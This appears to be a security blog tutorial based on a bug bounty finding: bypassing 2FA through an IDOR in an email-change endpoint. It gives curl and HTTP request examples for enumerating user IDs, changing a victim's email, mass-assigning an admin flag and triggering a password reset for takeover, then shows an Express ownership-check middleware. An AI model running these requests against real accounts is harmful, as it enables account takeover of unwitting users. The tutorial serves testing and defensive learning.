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Introduction:
Multi-factor authentication (MFA) is the cornerstone of modern digital defense, yet a single logic flaw can render it completely useless. A recent bug bounty discovery demonstrates how improper authorization checks on critical endpoints can lead to full account takeover, bypassing 2FA entirely and exposing a fundamental weakness in how applications verify user identity.
Learning Objectives:
- Understand the mechanics of authentication bypass vulnerabilities through improper user ID binding
- Learn to enumerate and exploit exposed user identifiers in client-side requests
- Master defensive coding practices to prevent Identity Verification Bypass attacks
You Should Know:
1. Enumerating User IDs with Waymore
`waymore -i https://target.com -mode U` – This command initializes Waymore to search for URLs containing potential user identifiers.
`waymore -i https://target.com -mode R -o URLs.txt` – This command searches for responses that might contain user IDs or other sensitive parameters.
Waymore is a powerful content discovery tool that extends upon tools like Waybackurls and Gau. To use it for user ID enumeration: First, install it via pip install waymore. Configure the output directory with -o /path/to/output. The `-mode U` parameter focuses on URL discovery, while `-mode R` analyzes responses. Review the output files for parameters containing user_id, uid, id, or other similar identifiers that might be exposed in client-side requests.
2. Intercepting and Modifying Requests with Burp Suite
`Ctrl+R` – Send request to Burp Repeater
`Ctrl+I` – Send request to Burp Intruder
Burp Suite is essential for testing authentication flaws. Capture the 2FA activation request using the Proxy tool. Right-click the request and send it to Repeater for manual modification. Look for parameters that reference the user account, particularly user_id, account_id, or similar. Modify these parameters to test for IDOR (Insecure Direct Object Reference) vulnerabilities. Change the value to another user’s ID you’ve enumerated and observe if the server processes the request without ownership verification.
- Testing Email Change Endpoints for Ownership Verification Bypass
`POST /api/change_email HTTP/1.1`
`Host: target.com`
`Content-Type: application/json`
`Authorization: Bearer [bash]`
`{“user_id”: “12345”, “new_email”: “[email protected]”}`
Craft a direct POST request to the email change endpoint containing only the `user_id` and a new email address. The critical test is whether the backend verifies that the authenticated user owns the `user_id` being modified. Use curl to test this: curl -X POST 'https://target.com/api/change_email' -H 'Authorization: Bearer [bash]' -H 'Content-Type: application/json' -d '{"user_id": "victim_id", "new_email": "[email protected]"}'. If the server accepts this request without verifying ownership, you’ve found a critical vulnerability.
- Automating User ID Enumeration with Bash and Curl
`for i in {1..1000}; do curl -s “https://target.com/api/user/$i/profile” | grep -q “not found” || echo “User ID $i exists”; done`This bash loop iterates through potential user IDs from 1 to 1000, checking which IDs return valid user profiles versus “not found” errors. The `-s` flag silences curl’s output, and the grep command checks for the absence of “not found” messages. If the response doesn’t contain “not found,” it prints that the user ID exists. This helps attackers build a list of valid user IDs for testing.
5. Testing Mass Assignment in API Endpoints
`PUT /api/users/update HTTP/1.1`
`Host: target.com`
`Content-Type: application/json`
`{“user_id”: “victim_id”, “email”: “[email protected]”, “is_admin”: true}`
Mass assignment vulnerabilities occur when an API endpoint accepts multiple parameters that should be restricted. Test by sending requests with excessive parameters that might bypass security checks. Use Burp Suite to capture legitimate requests, then add additional parameters like user_id, account_id, or privilege-related flags. Observe if the server processes these parameters without proper validation.
6. Exploiting Password Reset Functionality
`POST /api/password/reset HTTP/1.1`
`Host: target.com`
`Content-Type: application/json`
`{“email”: “[email protected]”}`
After changing the victim’s email address, trigger the password reset functionality to the attacker-controlled email. This completes the account takeover. Use curl to send the reset request: curl -X POST 'https://target.com/api/password/reset' -H 'Content-Type: application/json' -d '{"email": "[email protected]"}'. Check the attacker’s email inbox for the reset link and use it to change the victim’s password.
7. Preventing Authentication Bypass Through Proper Server-Side Validation
`// Node.js/Express validation middleware`
`function validateUserOwnership(req, res, next) {`
` if (req.params.userId !== req.user.id) {`
` return res.status(403).json({ error: ‘Access denied’ });`
` }`
` next();`
`}`
Implement strict server-side validation that verifies the authenticated user matches the user ID in any request attempting to modify account information. This middleware function compares the user ID from the request parameters with the authenticated user’s ID from the session or J token. If they don’t match, it returns a 403 Forbidden error. Apply this middleware to all routes that modify user data.
What Undercode Say:
- Authentication without authorization is merely identification
- Client-side parameters should never dictate server-side security decisions
The fundamental flaw here isn’t the exposure of user IDs, but rather the server’s failure to verify that the authenticated user has permission to perform actions on those user IDs. This case demonstrates a critical misunderstanding of the difference between authentication (proving who you are) and authorization (determining what you’re allowed to do). The system properly authenticated users but then completely failed to authorize whether they should be able to modify specific accounts. This pattern represents a systemic failure in authorization logic that affects countless web applications.
Prediction:
This authentication bypass pattern will increasingly migrate to API-based and microservices architectures where authorization contexts are more complex and often poorly implemented. As applications continue to expose user identifiers through client-side applications and APIs, we’ll see a rise in similar vulnerabilities targeting authorization flaws rather than authentication mechanisms. The future of authentication security will require zero-trust principles at the API level, where every request must prove both identity and appropriate authorization context regardless of its source.
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IT/Security Reporter URL:
Reported By: Sherif Ashraff1 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
